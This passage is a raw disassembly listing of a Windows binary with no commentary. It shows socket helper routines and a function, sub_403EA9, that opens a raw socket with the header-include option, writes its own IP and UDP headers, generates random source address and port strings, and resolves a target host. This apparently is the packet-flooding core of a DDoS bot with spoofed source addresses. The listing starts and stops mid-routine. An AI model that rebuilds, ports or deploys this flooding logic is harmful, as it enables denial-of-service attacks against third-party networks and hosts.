sub_4035CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403644 proc near ; CODE XREF: sub_401B81+D4p ; sub_402EFD+33p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx push edi push 1008h call sub_4114C4 ; malloc mov edi, eax xor ebx, ebx cmp edi, ebx pop ecx jz loc_40375D push 20h lea eax, [ebp+var_24] push ebx push eax mov [edi], ebx mov [edi+804h], ebx call sub_4114E8 ; memset add esp, 0Ch call sub_403366 neg eax sbb eax, eax mov [ebp+var_1C], 1 and al, 0FEh mov [ebp+var_24], 5 inc eax inc eax mov [ebp+var_20], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_0] push ebx call dword_419224 test eax, eax jnz loc_403756 push esi mov esi, [ebp+var_4] cmp esi, ebx jz loc_403748 loc_4036BE: ; CODE XREF: sub_403644+FCj push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call dword_41222C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40373B mov eax, [esi+4] cmp eax, 2 jz short loc_4036E1 cmp eax, 17h jnz short loc_40373B loc_4036E1: ; CODE XREF: sub_403644+96j test [ebp+arg_4], 2 jz short loc_403702 lea eax, [ebp+arg_0] push 4 push eax push 4 push 0FFFFh push ebx mov [ebp+arg_0], 1 call dword_412218 ; setsockopt loc_403702: ; CODE XREF: sub_403644+A1j push dword ptr [esi+10h] push dword ptr [esi+18h] push ebx call dword_41221C ; bind cmp eax, 0FFFFFFFFh jz short loc_403722 push 32h push ebx call dword_412278 ; listen cmp eax, 0FFFFFFFFh jnz short loc_40372B loc_403722: ; CODE XREF: sub_403644+CEj push ebx call sub_403D92 pop ecx jmp short loc_40373B ; --------------------------------------------------------------------------- loc_40372B: ; CODE XREF: sub_403644+DCj mov eax, [edi] mov [edi+eax*4+4], ebx inc dword ptr [edi] cmp dword ptr [edi], 200h jz short loc_403746 loc_40373B: ; CODE XREF: sub_403644+8Ej ; sub_403644+9Bj ... mov esi, [esi+1Ch] test esi, esi jnz loc_4036BE loc_403746: ; CODE XREF: sub_403644+F5j xor ebx, ebx loc_403748: ; CODE XREF: sub_403644+74j push [ebp+var_4] call dword_41922C cmp [edi], ebx pop esi jnz short loc_403761 loc_403756: ; CODE XREF: sub_403644+68j push edi call sub_4114CA ; free pop ecx loc_40375D: ; CODE XREF: sub_403644+19j xor eax, eax jmp short loc_403763 ; --------------------------------------------------------------------------- loc_403761: ; CODE XREF: sub_403644+110j mov eax, edi loc_403763: ; CODE XREF: sub_403644+11Bj pop edi pop ebx leave retn sub_403644 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403767 proc near ; CODE XREF: sub_401B81+18Fp ; sub_402EFD+7Dp ... var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 90h and [ebp+var_4], 0 push ebx push esi mov esi, [ebp+arg_0] push edi mov [ebp+var_8], 80h cmp dword ptr [esi], 0 jbe loc_40380C lea edi, [esi+4] loc_40378D: ; CODE XREF: sub_403767+A3j lea ebx, [esi+804h] push ebx push dword ptr [edi] call sub_4117E8 ; __WSAFDIsSet test eax, eax jz short loc_4037FF mov edx, [ebx] xor ecx, ecx test edx, edx jbe short loc_4037E3 mov ebx, [edi] lea eax, [esi+808h] loc_4037AF: ; CODE XREF: sub_403767+52j cmp [eax], ebx jz short loc_4037BD inc ecx add eax, 4 cmp ecx, edx jb short loc_4037AF jmp short loc_4037E3 ; --------------------------------------------------------------------------- loc_4037BD: ; CODE XREF: sub_403767+4Aj dec edx cmp ecx, edx jnb short loc_4037DD lea eax, [esi+ecx*4+808h] loc_4037C9: ; CODE XREF: sub_403767+74j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [esi+804h] add eax, 4 dec edx cmp ecx, edx jb short loc_4037C9 loc_4037DD: ; CODE XREF: sub_403767+59j dec dword ptr [esi+804h] loc_4037E3: ; CODE XREF: sub_403767+3Ej ; sub_403767+54j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_90] push eax push dword ptr [edi] call dword_41223C ; accept cmp eax, 0FFFFFFFFh jnz loc_403925 loc_4037FF: ; CODE XREF: sub_403767+36j inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_40378D loc_40380C: ; CODE XREF: sub_403767+1Dj lea edi, [esi+804h] xor eax, eax cmp [esi], eax mov [ebp+var_4], eax mov [edi], eax jbe short loc_403868 lea ecx, [esi+4] loc_403820: ; CODE XREF: sub_403767+FFj mov edx, [edi] and [ebp+arg_0], 0 test edx, edx jbe short loc_403841 lea eax, [esi+808h] loc_403830: ; CODE XREF: sub_403767+D8j mov ebx, [ecx] cmp [eax], ebx jz short loc_403841 inc [ebp+arg_0] add eax, 4 cmp [ebp+arg_0], edx jb short loc_403830 loc_403841: ; CODE XREF: sub_403767+C1j ; sub_403767+CDj mov eax, [ebp+arg_0] cmp eax, edx jnz short loc_40385B cmp edx, 200h jnb short loc_40385B mov edx, [ecx] mov [esi+eax*4+808h], edx inc dword ptr [edi] loc_40385B: ; CODE XREF: sub_403767+DFj ; sub_403767+E7j inc [ebp+var_4] add ecx, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_403820 loc_403868: ; CODE XREF: sub_403767+B4j mov eax, [ebp+arg_4] mov ecx, 3E8h xor edx, edx mov ebx, ecx div ebx xor edx, edx xor ebx, ebx mov [ebp+var_10], eax mov eax, [ebp+arg_4] div ecx lea eax, [ebp+var_10] push eax push ebx push ebx push edi push dword ptr [esi] imul edx, 3E8h mov [ebp+var_C], edx call dword_412214 ; select cmp eax, ebx jz loc_403922 cmp eax, 0FFFFFFFFh jnz short loc_4038AB xor eax, eax jmp short loc_403925 ; --------------------------------------------------------------------------- loc_4038AB: ; CODE XREF: sub_403767+13Ej cmp [esi], ebx mov [ebp+var_4], ebx jbe short loc_403922 lea ebx, [esi+4] loc_4038B5: ; CODE XREF: sub_403767+1B9j push edi push dword ptr [ebx] call sub_4117E8 ; __WSAFDIsSet test eax, eax jz short loc_403915 xor ecx, ecx cmp [edi], ecx jbe short loc_4038FD lea eax, [esi+808h] loc_4038CD: ; CODE XREF: sub_403767+172j mov edx, [ebx] cmp [eax], edx jz short loc_4038DD inc ecx add eax, 4 cmp ecx, [edi] jb short loc_4038CD jmp short loc_4038FD ; --------------------------------------------------------------------------- loc_4038DD: ; CODE XREF: sub_403767+16Aj mov eax, [edi] dec eax cmp ecx, eax jnb short loc_4038FB lea eax, [esi+ecx*4+808h] loc_4038EB: ; CODE XREF: sub_403767+192j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [edi] add eax, 4 dec edx cmp ecx, edx jb short loc_4038EB loc_4038FB: ; CODE XREF: sub_403767+17Bj dec dword ptr [edi] loc_4038FD: ; CODE XREF: sub_403767+15Ej ; sub_403767+174j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_90] push eax push dword ptr [ebx] call dword_41223C ; accept cmp eax, 0FFFFFFFFh jnz short loc_403925 loc_403915: ; CODE XREF: sub_403767+158j inc [ebp+var_4] add ebx, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_4038B5 loc_403922: ; CODE XREF: sub_403767+135j ; sub_403767+149j or eax, 0FFFFFFFFh loc_403925: ; CODE XREF: sub_403767+92j ; sub_403767+142j ... pop edi pop esi pop ebx leave retn sub_403767 endp ; =============== S U B R O U T I N E ======================================= sub_40392A proc near ; CODE XREF: sub_401B81+FFp ; sub_401B81+2EFp ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi] test eax, eax jbe short loc_40395C lea edi, [esi+4] loc_40393C: ; CODE XREF: sub_40392A+30j cmp dword_4191D8, 0 jz short loc_40394A cmp eax, 64h ja short loc_40395C loc_40394A: ; CODE XREF: sub_40392A+19j push dword ptr [edi] call sub_403D92 mov eax, [esi] inc ebx add edi, 4 cmp ebx, eax pop ecx jb short loc_40393C loc_40395C: ; CODE XREF: sub_40392A+Dj ; sub_40392A+1Ej and dword ptr [esi+804h], 0 push esi call sub_4114CA ; free pop ecx pop edi pop esi pop ebx retn sub_40392A endp ; =============== S U B R O U T I N E ======================================= sub_40396E proc near ; CODE XREF: sub_40EE23+149p ; sub_40F9C9+32p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, 200h ja short loc_40398A push 1010h call sub_4114C4 ; malloc test eax, eax pop ecx jnz short loc_40398E loc_40398A: ; CODE XREF: sub_40396E+Bj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40398E: ; CODE XREF: sub_40396E+1Aj and dword ptr [eax+4], 0 mov [eax], esi pop esi retn sub_40396E endp ; =============== S U B R O U T I N E ======================================= sub_403996 proc near ; CODE XREF: sub_40EE23+32Cp ; sub_40F9C9+FBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [eax+4] cmp ecx, [eax] jnz short loc_4039AE push [esp+arg_0] call sub_403D92 pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4039AE: ; CODE XREF: sub_403996+9j mov edx, [esp+arg_0] mov [eax+ecx*4+0Ch], edx inc dword ptr [eax+4] mov ecx, [eax+4] xor edx, edx cmp ecx, [eax] setnz dl mov eax, edx retn sub_403996 endp ; =============== S U B R O U T I N E ======================================= sub_4039C6 proc near ; CODE XREF: sub_40EE23+3D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax push edi mov edx, [esi+4] test edx, edx jbe short loc_403A18 lea ecx, [esi+0Ch] loc_4039D8: ; CODE XREF: sub_4039C6+20j mov edi, [ecx] cmp edi, [esp+8+arg_0] jz short loc_4039EA inc eax add ecx, 4 cmp eax, edx jb short loc_4039D8 jmp short loc_403A18 ; --------------------------------------------------------------------------- loc_4039EA: ; CODE XREF: sub_4039C6+18j mov ecx, [esi+8] cmp eax, ecx jb short loc_4039F5 dec ecx mov [esi+8], ecx loc_4039F5: ; CODE XREF: sub_4039C6+29j mov ecx, eax imul ecx, 3FFFFFFFh add ecx, edx shl ecx, 2 push ecx lea ecx, [esi+eax*4+10h] lea eax, [esi+eax*4+0Ch] push ecx push eax call sub_4114D0 ; memcpy add esp, 0Ch dec dword ptr [esi+4] loc_403A18: ; CODE XREF: sub_4039C6+Dj ; sub_4039C6+22j pop edi pop esi retn sub_4039C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A1B proc near ; CODE XREF: sub_40EE23+361p ; sub_40F9C9+11Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] push ebx xor ebx, ebx cmp [eax+4], ebx lea ecx, [eax+80Ch] mov [eax+8], ebx mov [ebp+var_4], ebx mov [ecx], ebx jbe short loc_403A8A push esi push edi lea esi, [eax+0Ch] loc_403A3E: ; CODE XREF: sub_403A1B+6Bj mov edi, [ecx] mov [ebp+arg_0], ebx cmp edi, ebx jbe short loc_403A60 lea edx, [eax+810h] loc_403A4D: ; CODE XREF: sub_403A1B+41j mov ebx, [esi] cmp [edx], ebx jz short loc_403A5E inc [ebp+arg_0] add edx, 4 cmp [ebp+arg_0], edi jb short loc_403A4D loc_403A5E: ; CODE XREF: sub_403A1B+36j xor ebx, ebx loc_403A60: ; CODE XREF: sub_403A1B+2Aj mov edx, [ebp+arg_0] cmp edx, edi jnz short loc_403A7A cmp edi, 200h jnb short loc_403A7A mov edi, [esi] mov [eax+edx*4+810h], edi inc dword ptr [ecx] loc_403A7A: ; CODE XREF: sub_403A1B+4Aj ; sub_403A1B+52j inc [ebp+var_4] mov edx, [ebp+var_4] add esi, 4 cmp edx, [eax+4] jb short loc_403A3E pop edi pop esi loc_403A8A: ; CODE XREF: sub_403A1B+1Cj lea eax, [ebp+var_8] mov [ebp+var_8], ebx push eax push ebx push ecx push ebx push ebx mov [ebp+var_4], 3E8h call dword_412214 ; select cmp eax, ebx jz short loc_403AB0 cmp eax, 0FFFFFFFFh jz short loc_403AB0 push 1 pop eax jmp short loc_403AB2 ; --------------------------------------------------------------------------- loc_403AB0: ; CODE XREF: sub_403A1B+89j ; sub_403A1B+8Ej xor eax, eax loc_403AB2: ; CODE XREF: sub_403A1B+93j pop ebx leave retn sub_403A1B endp ; =============== S U B R O U T I N E ======================================= sub_403AB5 proc near ; CODE XREF: sub_40EE23+372p ; sub_40F9C9+133p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esi+8] cmp edi, [esi+4] jnb short loc_403AE4 lea ebp, [esi+80Ch] lea ebx, [esi+edi*4+0Ch] loc_403ACF: ; CODE XREF: sub_403AB5+2Dj push ebp push dword ptr [ebx] call sub_4117E8 ; __WSAFDIsSet test eax, eax jnz short loc_403AEB inc edi add ebx, 4 cmp edi, [esi+4] jb short loc_403ACF loc_403AE4: ; CODE XREF: sub_403AB5+Ej xor eax, eax loc_403AE6: ; CODE XREF: sub_403AB5+40j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_403AEB: ; CODE XREF: sub_403AB5+24j lea eax, [edi+1] mov [esi+8], eax mov eax, [esi+edi*4+0Ch] jmp short loc_403AE6 sub_403AB5 endp ; =============== S U B R O U T I N E ======================================= sub_403AF7 proc near ; CODE XREF: sub_403B2F+4p ; sub_40EE23+435p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebp, ebp xor ebx, ebx cmp [esi+4], ebp jbe short loc_403B1F push edi lea edi, [esi+0Ch] loc_403B0B: ; CODE XREF: sub_403AF7+25j push dword ptr [edi] call sub_403D92 mov [edi], ebp inc ebx add edi, 4 cmp ebx, [esi+4] pop ecx jb short loc_403B0B pop edi loc_403B1F: ; CODE XREF: sub_403AF7+Ej mov [esi+4], ebp mov [esi+8], ebp mov [esi+80Ch], ebp pop esi pop ebp pop ebx retn sub_403AF7 endp ; =============== S U B R O U T I N E ======================================= sub_403B2F proc near ; CODE XREF: sub_40EE23+483p ; sub_40F9C9+1C2p arg_0 = dword ptr 4 push [esp+arg_0] call sub_403AF7 push [esp+4+arg_0] call sub_4114CA ; free pop ecx pop ecx retn sub_403B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B44 proc near ; CODE XREF: sub_40E829+15p ; sub_40EE23+323p ... var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 24h push 20h lea eax, [ebp+var_24] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch test [ebp+arg_8], 2 jz short loc_403B69 mov [ebp+var_20], 17h jmp short loc_403B75 ; --------------------------------------------------------------------------- loc_403B69: ; CODE XREF: sub_403B44+1Aj movsx eax, [ebp+arg_8] and eax, 1 shl eax, 1 mov [ebp+var_20], eax loc_403B75: ; CODE XREF: sub_403B44+23j test [ebp+arg_8], 4 push 0 pop eax setnz al inc eax mov [ebp+var_1C], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_419224 test eax, eax jz short loc_403B9F xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403B9F: ; CODE XREF: sub_403B44+55j push esi mov esi, [ebp+var_4] push edi loc_403BA4: ; CODE XREF: sub_403B44+ADj test esi, esi jz short loc_403BF3 push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call dword_41222C ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_403BEE push 0 push edi call sub_40344B pop ecx pop ecx push dword ptr [esi+10h] push dword ptr [esi+18h] push edi call dword_412208 ; connect cmp eax, 0FFFFFFFFh jnz short loc_403BE7 call dword_412238 ; WSAGetLastError cmp eax, 2733h jz short loc_403BF5 loc_403BE7: ; CODE XREF: sub_403B44+94j push edi call sub_403D92 pop ecx loc_403BEE: ; CODE XREF: sub_403B44+78j mov esi, [esi+1Ch] jmp short loc_403BA4 ; --------------------------------------------------------------------------- loc_403BF3: ; CODE XREF: sub_403B44+62j xor edi, edi loc_403BF5: ; CODE XREF: sub_403B44+A1j push [ebp+var_4] call dword_41922C mov eax, edi pop edi pop esi leave retn sub_403B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C04 proc near ; CODE XREF: sub_401985+73p ; sub_402018+1Ap ... var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 82Ch mov eax, [ebp+arg_C] push ebx mov ecx, 3E8h push esi cdq mov esi, ecx xor ebx, ebx idiv esi push 20h push ebx mov [ebp+var_8], eax mov eax, [ebp+arg_C] cdq idiv ecx lea eax, [ebp+var_28] push eax imul edx, 3E8h mov [ebp+var_4], edx call sub_4114E8 ; memset add esp, 0Ch test [ebp+arg_8], 2 jz short loc_403C4E mov [ebp+var_24], 17h jmp short loc_403C5A ; --------------------------------------------------------------------------- loc_403C4E: ; CODE XREF: sub_403C04+3Fj movsx eax, [ebp+arg_8] and eax, 1 shl eax, 1 mov [ebp+var_24], eax loc_403C5A: ; CODE XREF: sub_403C04+48j test [ebp+arg_8], 4 push 0 pop eax setnz al inc eax mov [ebp+var_20], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_419224 test eax, eax jz short loc_403C87 xor eax, eax jmp loc_403D6C ; --------------------------------------------------------------------------- loc_403C87: ; CODE XREF: sub_403C04+7Aj mov esi, [ebp+arg_C] push edi loc_403C8B: ; CODE XREF: sub_403C04+149j cmp esi, ebx jz loc_403D5E push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call dword_41222C ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_403D4A push ebx push edi call sub_40344B pop ecx pop ecx push dword ptr [esi+10h] push dword ptr [esi+18h] push edi call dword_412208 ; connect test eax, eax jz short loc_403CD4 call dword_412238 ; WSAGetLastError cmp eax, 2733h jnz short loc_403D4A loc_403CD4: ; CODE XREF: sub_403C04+C1j lea eax, [ebp+var_8] mov [ebp+var_828], edi push eax lea eax, [ebp+var_82C] push ebx push eax push ebx push ebx mov [ebp+var_82C], 1 call dword_412214 ; select cmp eax, 1 jz short loc_403D52 mov edx, [ebp+var_82C] xor ecx, ecx cmp edx, ebx jbe short loc_403D43 lea eax, [ebp+var_828] loc_403D0F: ; CODE XREF: sub_403C04+115j cmp [eax], edi jz short loc_403D1D inc ecx add eax, 4 cmp ecx, edx jb short loc_403D0F jmp short loc_403D43 ; --------------------------------------------------------------------------- loc_403D1D: ; CODE XREF: sub_403C04+10Dj dec edx cmp ecx, edx jnb short loc_403D3D lea eax, [ebp+ecx*4+var_828] loc_403D29: ; CODE XREF: sub_403C04+137j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_82C] add eax, 4 dec edx cmp ecx, edx jb short loc_403D29 loc_403D3D: ; CODE XREF: sub_403C04+11Cj dec [ebp+var_82C] loc_403D43: ; CODE XREF: sub_403C04+103j ; sub_403C04+117j push edi call sub_403D92 pop ecx loc_403D4A: ; CODE XREF: sub_403C04+A3j ; sub_403C04+CEj mov esi, [esi+1Ch] jmp loc_403C8B ; --------------------------------------------------------------------------- loc_403D52: ; CODE XREF: sub_403C04+F7j push 1 push edi call sub_40344B pop ecx pop ecx jmp short loc_403D60 ; --------------------------------------------------------------------------- loc_403D5E: ; CODE XREF: sub_403C04+89j xor edi, edi loc_403D60: ; CODE XREF: sub_403C04+158j push [ebp+arg_C] call dword_41922C mov eax, edi pop edi loc_403D6C: ; CODE XREF: sub_403C04+7Ej pop esi pop ebx leave retn sub_403C04 endp ; =============== S U B R O U T I N E ======================================= sub_403D70 proc near ; CODE XREF: sub_401985+1E0p ; sub_401B81+2E1p ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call dword_412210 ; shutdown push 3E8h call dword_4120A4 ; Sleep push [esp+arg_0] call sub_403D92 pop ecx retn sub_403D70 endp ; =============== S U B R O U T I N E ======================================= sub_403D92 proc near ; CODE XREF: sub_4032D2+55p ; sub_403366+15p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_412240 ; closesocket retn sub_403D92 endp ; =============== S U B R O U T I N E ======================================= sub_403D9D proc near ; CODE XREF: sub_401985+110p ; sub_401B81+207p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call dword_412220 ; send retn sub_403D9D endp ; =============== S U B R O U T I N E ======================================= sub_403DB2 proc near ; CODE XREF: sub_402EFD+B5p ; sub_403DF6+1Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] cmp esi, 2 push edi jb short loc_403DDF mov edi, [esp+8+arg_4] lea eax, [esi-1] push 0 push eax push edi push [esp+14h+arg_0] call dword_412258 ; recv test eax, eax jz short loc_403DF3 cmp eax, 0FFFFFFFFh jz short loc_403DF3 cmp eax, esi jb short loc_403DEF loc_403DDF: ; CODE XREF: sub_403DB2+9j push 271Eh call dword_412244 ; WSASetLastError or eax, 0FFFFFFFFh jmp short loc_403DF3 ; --------------------------------------------------------------------------- loc_403DEF: ; CODE XREF: sub_403DB2+2Bj and byte ptr [eax+edi], 0 loc_403DF3: ; CODE XREF: sub_403DB2+22j ; sub_403DB2+27j ... pop edi pop esi retn sub_403DB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF6 proc near ; CODE XREF: sub_402018+70p ; sub_402018+195p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_403E1F pop ecx test eax, eax pop ecx jnz short loc_403E0C pop ebp retn ; --------------------------------------------------------------------------- loc_403E0C: ; CODE XREF: sub_403DF6+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_403DB2 add esp, 0Ch pop ebp retn sub_403DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E1F proc near ; CODE XREF: sub_403DF6+9p ; sub_40B6BE+19p ... var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1010h call sub_411540 mov eax, [ebp+arg_4] mov ecx, 3E8h push ebx xor edx, edx mov ebx, ecx push esi div ebx xor edx, edx push edi push 1 mov edi, [ebp+arg_0] pop esi mov [ebp+var_808], edi mov [ebp+var_80C], esi mov [ebp+var_100C], edi mov [ebp+var_1010], esi mov [ebp+var_8], eax mov eax, [ebp+arg_4] div ecx lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_80C] push 0 push eax push esi imul edx, 3E8h mov [ebp+var_4], edx call dword_412214 ; select cmp eax, esi jz short loc_403E91 xor eax, eax jmp short loc_403EA4 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_403E1F+6Cj lea eax, [ebp+var_80C] push eax push edi call sub_4117E8 ; __WSAFDIsSet neg eax sbb eax, eax neg eax loc_403EA4: ; CODE XREF: sub_403E1F+70j pop edi pop esi pop ebx leave retn sub_403E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EA9 proc near ; DATA XREF: sub_4044AA+BCo var_1338 = byte ptr -1338h var_1336 = word ptr -1336h var_1334 = word ptr -1334h var_1330 = byte ptr -1330h var_132F = byte ptr -132Fh var_132E = word ptr -132Eh var_132C = dword ptr -132Ch var_1328 = dword ptr -1328h var_1324 = word ptr -1324h var_1322 = word ptr -1322h var_1320 = word ptr -1320h var_131C = byte ptr -131Ch var_2D8 = dword ptr -2D8h var_131 = byte ptr -131h var_31 = byte ptr -31h var_2B = dword ptr -2Bh var_27 = dword ptr -27h var_23 = dword ptr -23h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1338h call sub_411540 push ebx push esi push edi push 2B9h push [ebp+arg_0] lea eax, [ebp+var_2D8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h mov esi, 0FFh push esi push 3 push 2 call dword_41222C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403F78 push 1 lea ecx, [ebp+var_1C] pop edi xor ebx, ebx push 4 push ecx push 2 push ebx push eax mov [ebp+var_1C], edi call dword_412218 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_403F78 push ebx push [ebp+var_4] call sub_40344B push 10h lea eax, [ebp+var_18] push ebx push eax call sub_4114E8 ; memset lea eax, [ebp+var_31] mov [ebp+var_18], 2 push eax call sub_41151C ; atoi add esp, 18h push eax call dword_412248 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_131] push eax call dword_412254 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_14], eax jnz short loc_403F88 lea eax, [ebp+var_131] push eax call dword_41224C ; gethostbyname cmp eax, ebx jz short loc_403F78 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] cmp eax, 0FFFFFFFFh mov [ebp+var_14], eax jnz short loc_403F88 loc_403F78: ; CODE XREF: sub_403EA9+45j ; sub_403EA9+66j ... push [ebp+var_2D8] call sub_406E6F jmp loc_40448B ; --------------------------------------------------------------------------- loc_403F88: ; CODE XREF: sub_403EA9+ADj ; sub_403EA9+CDj push 1060h lea eax, [ebp+var_1338] push ebx push eax call sub_4114E8 ; memset mov al, [ebp+var_1338] add esp, 0Ch and al, 0F5h mov [ebp+var_132F], 11h or al, 5 mov [ebp+var_8], ebx and al, 0Fh or al, 40h cmp [ebp+var_2B], ebx mov [ebp+var_1338], al mov eax, [ebp+var_14] mov [ebp+var_1328], eax mov ax, [ebp+var_16] mov [ebp+var_1322], ax jle loc_404477 mov ebx, 0FFFFh loc_403FDD: ; CODE XREF: sub_403EA9+5C8j mov eax, [ebp+var_23] dec eax jz loc_40424E dec eax jz loc_404176 dec eax jnz short loc_404000 push 2 push 0 call sub_40B459 pop ecx test eax, eax pop ecx jnz short loc_404026 loc_404000: ; CODE XREF: sub_403EA9+146j push ebx push edi call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU_0 ; "%u" push eax call sub_4114DC ; sprintf add esp, 0Ch jmp loc_404354 ; --------------------------------------------------------------------------- loc_404026: ; CODE XREF: sub_403EA9+155j cmp eax, edi push ebx push edi jnz loc_4040D7 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_40405B: ; CODE XREF: sub_403EA9+22Cj cmp eax, 7D0h push ebx push edi jnb loc_4042F3 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax push esi push edi call sub_40B459 pop ecx movzx eax, al pop ecx push eax lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_40405B ; --------------------------------------------------------------------------- loc_4040D7: ; CODE XREF: sub_403EA9+181j call sub_40B459 pop ecx movzx eax, ax pop ecx push eax lea eax, [ebp+var_131C] push offset aU ; "%u\r\n" push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 10h loc_404102: ; CODE XREF: sub_403EA9+2CBj cmp eax, 7D0h push edi push 0 jnb loc_404213 call sub_40B459 pop ecx movzx eax, ax pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi push 0 call sub_40B459 pop ecx movzx eax, al pop ecx push eax push edi lea eax, [ebp+var_131C] push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push eax call sub_4114BE ; strlen pop ecx lea eax, [ebp+eax+var_131C] push eax call sub_4114DC ; sprintf lea eax, [ebp+var_131C] push eax call sub_4114BE ; strlen add esp, 20h jmp short loc_404102 ; --------------------------------------------------------------------------- loc_404176: ; CODE XREF: sub_403EA9+13Fj push ebx push edi call sub_40B459 pop 